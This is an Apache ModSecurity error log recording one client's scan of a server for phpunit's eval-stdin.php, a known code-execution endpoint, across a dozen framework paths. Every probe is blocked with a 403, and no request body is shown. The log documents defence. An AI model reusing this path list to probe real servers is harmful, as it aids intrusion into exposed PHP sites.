[Tue Oct 27 01:44:59.554908 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqwAAAAw"]
[Tue Oct 27 01:44:59.777941 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMrAAAAAw"]
[Tue Oct 27 01:44:59.778451 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMrAAAAAw"]
[Tue Oct 27 01:44:59.778783 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMrAAAAAw"]
[Tue Oct 27 01:45:00.041266 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrQAAAAw"]
[Tue Oct 27 01:45:00.041702 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrQAAAAw"]
[Tue Oct 27 01:45:00.042059 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrQAAAAw"]
[Tue Oct 27 01:45:00.230145 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrgAAAAw"]
[Tue Oct 27 01:45:00.230604 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrgAAAAw"]
[Tue Oct 27 01:45:00.230932 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrgAAAAw"]
[Tue Oct 27 01:45:00.509245 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrwAAAAw"]
[Tue Oct 27 01:45:00.509707 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrwAAAAw"]
[Tue Oct 27 01:45:00.510059 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMrwAAAAw"]
[Tue Oct 27 01:45:00.692375 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMsAAAAAw"]
[Tue Oct 27 01:45:00.693052 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMsAAAAAw"]
[Tue Oct 27 01:45:00.693443 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMsAAAAAw"]
[Tue Oct 27 01:45:00.879731 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMsQAAAAw"]
[Tue Oct 27 01:45:00.880239 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMsQAAAAw"]
[Tue Oct 27 01:45:00.880564 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6XNu7k0W31xV3RUIMsQAAAAw"]
[Tue Oct 27 01:45:01.093448 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMsgAAAAw"]
[Tue Oct 27 01:45:01.093898 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMsgAAAAw"]
[Tue Oct 27 01:45:01.094228 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMsgAAAAw"]
[Tue Oct 27 01:45:01.269280 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMswAAAAw"]
[Tue Oct 27 01:45:01.269694 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMswAAAAw"]
[Tue Oct 27 01:45:01.270037 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMswAAAAw"]
[Tue Oct 27 01:45:01.445664 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtAAAAAw"]
[Tue Oct 27 01:45:01.446112 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtAAAAAw"]
[Tue Oct 27 01:45:01.446444 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtAAAAAw"]
[Tue Oct 27 01:45:01.628388 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtQAAAAw"]
[Tue Oct 27 01:45:01.628811 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtQAAAAw"]
[Tue Oct 27 01:45:01.629118 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtQAAAAw"]
[Tue Oct 27 01:45:01.801498 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtgAAAAw"]
[Tue Oct 27 01:45:01.801963 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtgAAAAw"]
[Tue Oct 27 01:45:01.802235 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtgAAAAw"]
[Tue Oct 27 01:45:01.978438 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtwAAAAw"]
[Tue Oct 27 01:45:01.979057 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtwAAAAw"]
[Tue Oct 27 01:45:01.979487 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xdu7k0W31xV3RUIMtwAAAAw"]
[Tue Oct 27 01:45:02.179814 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 18.205.213.231:22539] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:45:02.182511 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuAAAAAw"]
[Tue Oct 27 01:45:02.182855 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuAAAAAw"]
